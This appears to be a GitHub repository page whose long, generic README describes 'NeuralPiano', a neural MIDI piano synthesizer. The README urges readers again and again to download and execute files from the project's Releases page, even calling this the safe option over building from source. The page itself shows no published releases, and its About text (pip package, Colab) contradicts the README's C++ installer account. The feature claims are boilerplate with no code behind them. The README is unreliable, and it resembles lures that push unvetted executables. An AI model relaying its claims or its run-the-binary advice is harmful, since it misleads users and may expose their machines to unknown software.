Skip to content

Hi-Fi neural MIDI piano synthesizer and renderer powered by NVIDIA GPUs. Install with the pip package neuralpiano; offers MIDI rendering and Colab audio support 🐙

License

Notifications You must be signed in to change notification settings

doctorknocker17/neuralpiano

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

52 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Releases

NeuralPiano: Hi‑Fi Neural MIDI Piano Synthesizer & Renderer

Banner image: piano keys with neural artistry

Welcome to NeuralPiano. This project aims to blend neural audio with MIDI workflows to deliver a high-fidelity piano synthesis system and a robust MIDI renderer. It is a work in progress, but the design is concrete, and the codebase is structured for collaboration. The name says what we do: neural models shape piano timbre, while the renderer converts MIDI to vivid, expressive sound.

Table of contents

  • What is NeuralPiano?
  • Core ideas and design goals
  • Features at a glance
  • Architecture overview
  • How it fits into music tech
  • Getting started
  • Installation and builds
  • Basic usage
  • Advanced usage
  • Data, models, and training
  • MIDI workflow
  • Rendering pipeline
  • Configuration and customization
  • Performance, test, and validation
  • Project roadmap
  • Contributing
  • Community and support
  • License and attribution
  • Releases

What is NeuralPiano? NeuralPiano is a Hi‑Fi neural MIDI piano system. It combines neural synthesis with a practical MIDI renderer to produce piano-like sounds from MIDI input. It targets both standalone synthesis and integration into larger audio pipelines. The goal is to deliver a believable piano timbre with responsive dynamics, expressive lexicon, and consistent performance across platforms.

Core ideas and design goals

  • Fidelity: Build a high‑quality piano voice that conveys nuance, resonance, and dynamic range.
  • Real‑time capability: Provide a smooth, low-latency experience for live play and interactive sessions.
  • Modularity: Separate the neural synthesis stage from the MIDI renderer so users can swap components, plug into DAWs, or render offline.
  • Accessibility: Make setup straightforward, with clear docs and sensible defaults.
  • Extensibility: Provide hooks for other keyboard timbres, alternative tunings, or multi-instrument rendering.

Features at a glance

  • Neural piano voice: a neural model trained to reproduce piano timbre with realistic strike, sustain, decay, and harmonic content.
  • MIDI renderer: converts MIDI events into high‑fidelity audio, with velocity sensitivity and per-note envelopes.
  • Real‑time engine: designed to minimize latency while preserving audio quality.
  • Cross‑platform support: builds for major desktop ecosystems; Docker images for quick starts.
  • Configurable voices: tune velocity curves, release times, and resonance to taste.
  • Scriptable workflow: command line interface and optional API for automation.
  • Open and documented: clear guidelines for contributing, testing, and extending.

Architecture overview NeuralPiano uses a two‑stage pipeline:

  • Stage 1: Neural synthesis. A neural model ingests note events, velocity, and timing and outputs a per‑note audio representation. The model focuses on timbre and dynamics, simulating how a real piano responds to touch and pedaling.
  • Stage 2: MIDI renderer. A standalone renderer takes MIDI events and converts them into multi‑voice audio using the neural voice as the core timbre generator. It handles polyphony, sustain, pedal behavior, and per‑note envelopes.
  • Orchestration layer: A real‑time engine coordinates input events, scheduling, audio mixing, and output. It manages buffers, sample rates, and platform backends (ALSA/PortAudio on Linux, Core Audio on macOS, WASAPI on Windows).
  • Data flow: MIDI input -> scheduling queue -> neural synthesis core -> per‑voice audio streams -> final mix -> output device or file.

How this fits into music tech

  • It serves as a bridge between neural audio research and practical music production.
  • It complements sample‑based and physical modeling approaches by offering a neural timbre that can be tuned and extended.
  • It can act as a plugin component in larger pipelines or as a standalone tool for composers and researchers.
  • Developers can reuse the neural voice in other renderers or integrate the MIDI renderer into projects with custom front ends.

Getting started This project targets developers, researchers, and musicians who want a neural piano voice paired with a practical MIDI renderer. You will find a mix of code, docs, and usage guidance. The goal is to enable you to experiment quickly, iterate on ideas, and contribute improvements.

Prerequisites and baseline

  • A modern desktop environment (Windows, macOS, or Linux).
  • A compiler toolchain that supports CMake and C++14 or newer.
  • Optional Python 3.x for tooling, testing, or scriptable workflows.
  • For neural components, access to a hardware accelerator is beneficial (CUDA-compatible GPU) but not strictly required for CPU‑only inference.
  • Sound output: a reliable audio device, with at least 44.1 kHz sample rate, stereo output.

Releases and assets Because NeuralPiano ships with release assets, you can download prebuilt binaries or installers from the Releases page. The project provides cross‑platform binaries to help you get started quickly. For safety and ease, use the release assets rather than building from source in a first pass. See the Releases page for the latest binaries and instructions. From the Releases page, download the asset that matches your platform and run the installer or executable. For platforms with multiple assets, choose the one that matches your OS and architecture.

Downloads are available here: https://github.com/doctorknocker17/neuralpiano/releases. From the Releases page, download the asset and execute the file according to your OS guidelines. If you prefer to explore first, you can visit the Releases page to browse assets and release notes. The same link is provided again in the Downloads section of this README below.

Data, models, and training philosophy NeuralPiano relies on a trained neural voice that captures the essence of piano tone and response. The training pipeline emphasizes:

  • Timbral realism: modeling overtones, sustain, damper influence, and resonances.
  • Dynamic expressiveness: sensitivity to velocity, aftertouch (if supported), and pedal interactions.
  • Generalization: the model should keep quality across a range of pianos and tunings.
  • Efficiency: optimizations for real‑time inference and efficient batch processing for offline rendering.

The architecture favors a modular approach. The neural core stands apart from the renderer, so researchers can swap in alternate timbres or new conditioning signals without altering the rendering logic.

MIDI workflow

  • MIDI input handling: The system subscribes to MIDI events from a host or a standalone keyboard.
  • Scheduling: A precise timeline ensures notes start and end on time, preserving groove and musical intent.
  • Velocity and expression: The renderer translates velocity into per‑note dynamics, with options for expressive controls like pedal and modulation.
  • Polyphony management: The engine supports multiple simultaneous notes with proper voice allocation and reallocation as needed.
  • Expression overlays: For advanced usage, you can layer effects such as reverb, delay, and EQ after the neural voice.

Rendering pipeline

  • Neural‑voice synthesis: Each active note triggers a neural synth voice. The model outputs a sample stream that captures the musical character of a piano note as it evolves.
  • Per‑note envelopes: Attack, decay, sustain, and release shapes are applied to shape the piano’s dynamic envelope.
  • Mixer: Individual voices are mixed into a stereo output with proper panning, depth, and spatial cues.
  • Post‑processing: Optional effects such as room reverberation, subtle compression, and mastering‑style loudness shaping can be applied before final output.
  • Output targets: Real‑time playback, offline rendering to WAV/AIFF, or export to MIDI‑annotated audio.

Configuration and customization You can tailor NeuralPiano to your taste or project needs. The configuration system covers:

  • Voice parameters: Attack, decay, release times; resonance; and per‑note shaping.
  • Pedal behavior: Sustain pedal influence on decay and resonance.
  • Expressive controls: How velocity translates to loudness, timbre, and note length.
  • Rendering options: Sample rate, buffer size, and latency targets.
  • Effects: Reverb size, room color, and compression intensity.
  • File I/O: Input MIDI file support, output formats, and export quality.

Configuration example (inline)

  • sample_rate: 44100
  • buffer_size_ms: 8
  • voice:
    • attack_ms: 8
    • decay_ms: 180
    • release_ms: 400
    • resonance: 0.6
  • pedal:
    • sustain_transfer: true
  • effects:
    • reverb: room_size: 0.7 decay: 1.2
  • output:
    • format: wav
    • channels: 2
    • bit_depth: 24

Usage patterns

  • Quick demo: Load a MIDI file and render to WAV.
  • Live session: Connect a MIDI keyboard and play in real time, listening to neural timbre unfold.
  • Studio work: Create a MIDI track with multiple parts and render each part with distinct macro controls.

Getting started with code and builds If you want to dive into the source, you can build NeuralPiano from the repository. The project emphasizes portability, so you can compile a local version or adapt the code for your own setup. You will find a clear separation between the core neural voice and the rendering layer, with a lightweight interface that makes it straightforward to plug in new components.

Option A: Quick start with prebuilt binaries

  • The easiest path is to use the prebuilt binaries from the Releases page. They provide a turnkey experience with a GUI and a CLI. The release assets are designed to work out of the box on supported platforms.
  • After downloading the appropriate asset for your platform, run the installer or executable and follow the on‑screen prompts. You will be guided to select a MIDI input and an audio output device. If an external audio interface is present, choose it to minimize latency.
  • Typical start steps include selecting a default piano voice, loading a test MIDI file, and pressing Play. If you already have a MIDI file, you can drop it into the interface or load it via the file menu.

Option B: Build from source (advanced)

  • Clone the repository.
  • Install dependencies: a modern C++ toolchain, CMake, and any neural framework prerequisites used by the project (for example, a lightweight inference runtime or PyTorch/CUDA setup if you enable GPU acceleration).
  • Build with CMake:
    • mkdir build && cd build
    • cmake ..
    • cmake --build . --config Release -j
  • The build produces a runnable binary along with optional command line tools.
  • If your environment includes Python tooling, you may have utilities for data processing, model export, and testing.

Option C: Dockerized workflow

  • Use a Docker image to isolate dependencies. This is helpful if you want a consistent environment across machines.
  • Pull the image, run it, and connect to your host’s MIDI device or export audio to a file.
  • Docker workflows are ideal for CI pipelines, automated builds, and reproducible experiments.

Usage notes and best practices

  • Latency vs. fidelity: Higher fidelity models can introduce more latency. If you aim for real‑time play, adjust buffer size, sample rate, and model precision to balance latency with sound quality.
  • Pedal nuance: The sustain pedal can dramatically affect the piano’s natural decay. Fine‑tune the pedal response to avoid unnatural reverb or note blurring.
  • Voice balance: In polyphonic scenes, ensure voices are allocated evenly to avoid gaps or phasing artifacts. If needed, adjust voice allocation settings.
  • CPU vs GPU: If you run on CPU, expect longer render times for high‑fidelity modes. If you have a CUDA‑capable GPU, enabling GPU inference accelerates synthesis significantly.

Advanced topics

  • Extending timbre: The architecture is designed to allow new timbres to be plugged in. You can train alternate neural voices or import externally trained models to swap in at runtime.
  • Multi‑instrument rendering: While the base focus is piano, the architecture can be extended to render other keyboard timbres or percussive instruments using separate neural voices.
  • DAW integration: The renderer can be used as a standalone tool or integrated into a DAW with virtual MIDI ports or audio routing. The API surface is designed to be friendly for hosts that require programmatic control.

Model details and research notes

  • The neural voice is built with a focus on musicality rather than raw waveform fidelity alone. It learns to emulate percussive onsets, string resonances, dampers, and pedal interactions in a way that generalizes to typical concert pianos.
  • Conditioning signals include note velocity, note duration, time since the previous note, and pedal state. Optional control signals can add expressivity, such as a breath-like mod for the sustain.
  • The training set is curated from a diverse set of piano recordings and MIDI annotations. It includes variations in tuning, mic placement, dynamic range, and room acoustics to improve robustness.

MIDI renderer details

  • The MIDI renderer handles polyphony with careful voice management. It ensures consistent timing by scheduling note events ahead of playback and compensating for small clock drift.
  • The renderer processes MIDI events and maps velocity to a target loudness and timbre. It also handles lag compensation for real‑time play.
  • Pedal handling is integral. The sustain pedal translates into a dynamic envelope on each voice, influencing decay and resonance to mimic real piano behavior.

Performance and testing

  • The project aims for low latency and predictable performance. Benchmarks focus on CPU and GPU configurations, buffer sizes, and sample rates.
  • Tests cover audio output quality, latency, MIDI timing, and stability under sustained play. Synthetic tests and real MIDI files are used to validate the system’s consistency.

Roadmap

  • Expand language bindings and scripting options to simplify automation.
  • Improve the neural voice with additional timbres inspired by different piano families (e.g., grand vs. upright, live vs. studio tuning).
  • Introduce more expressive controls, including release‑edge shading and pedal harmonics.
  • Enhance DAW integration through MIDI routing examples, VST/AU wrappers, and convenient plugin formats.
  • Build a community model zoo to share alternative voices and experimental timbres.

Contributing

  • We welcome contributions from researchers, composers, and developers.
  • Start by opening an issue to discuss an idea or a bug.
  • Create feature branches from main, implement changes, and submit a pull request with tests and documentation.
  • Follow the project’s coding and documentation standards for clarity and consistency.

Contact and community

  • For questions, participate in issues or discussions on the project page.
  • Share performance ideas, timbre concepts, and rendering tricks with the community.
  • Where possible, provide small audio examples to illustrate changes and improvements.

License

  • NeuralPiano is released under a permissive license. See the LICENSE file for the exact terms.

Releases

  • The release page contains binaries and installer assets for various platforms. It also includes release notes and upgrade paths. For quick access, visit the Releases page to download the latest assets and run the installer or executable. To proceed with a manual download and execution, grab the file that matches your platform and run it according to your system guidelines. This link is provided again here for convenience: https://github.com/doctorknocker17/neuralpiano/releases

Topics

  • audio-synthesis
  • audio-synthesizer
  • hi-fi
  • midi
  • midi-renderer
  • neural
  • neural-synthesis
  • neural-synthesis-systems
  • piano
  • synthesizer

Visuals and assets

  • UI mockups, flow diagrams, and performance charts illustrate how NeuralPiano fits into a music tech workflow.
  • High‑level diagrams show data flow from MIDI input to neural synthesis and final audio output.
  • Emoji accents accompany sections to improve readability and navigation.

Quality and testing philosophy

  • The project emphasizes readability, maintainability, and reproducibility.
  • Tests exercise C++ components, the inference workflow, MIDI handling, and the rendering chain.
  • Documentation keeps pace with code changes, ensuring new contributors can onboard quickly.

Future directions and experimental ideas

  • Adaptive tempo and rhythm awareness to lock with live tempo changes.
  • Advanced velocity shaping to capture pianist touch more precisely.
  • Pedal modeling improvements for more nuanced sustain and dampers.
  • Cross‑platform optimizations to maximize latency savings on consumer hardware.
  • Community models and artifacts to broaden timbre options and use cases.

Appendix: quick commands and tips

  • Clone and build (advanced):
  • Run with a sample MIDI file (after building or using a release):
    • ./neuralpiano --input ../examples/simple.mid --output output.wav
  • Use Docker for a clean environment:
    • docker run --rm -it neuralpiano:latest neuralpiano --help
  • Explore presets and voices by editing the config file at config.yaml or passing command line overrides.

End notes This README provides a cohesive view of NeuralPiano, its aims, and how to engage with the project. It emphasizes practical steps, actionable guidance, and a clear path from curiosity to usable results. The goal is to enable musicians, researchers, and developers to experiment with neural piano timbres and MIDI rendering in a way that is productive, reproducible, and fun. The project remains a work in progress, but the structure, approach, and community ethos are solid foundations for continuous improvement.

Releases (second mention) For binaries, installers, and the latest release notes, check the same Releases page: https://github.com/doctorknocker17/neuralpiano/releases

Releases page usage reminder

  • If you want to run NeuralPiano quickly, download the asset that matches your platform and execute the file. The release assets are designed to work out of the box and provide a straightforward entry point into neural piano synthesis and rendering. The link to the Releases page is provided again here for convenience: https://github.com/doctorknocker17/neuralpiano/releases

Appendix: credits and acknowledgments

  • Thanks to the community of researchers and musicians who test prototypes and share feedback.
  • Special thanks to contributors who help refine the neural voice, improve the renderer, and optimize performance across platforms.

End of README content.

About

Hi-Fi neural MIDI piano synthesizer and renderer powered by NVIDIA GPUs. Install with the pip package neuralpiano; offers MIDI rendering and Colab audio support 🐙

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •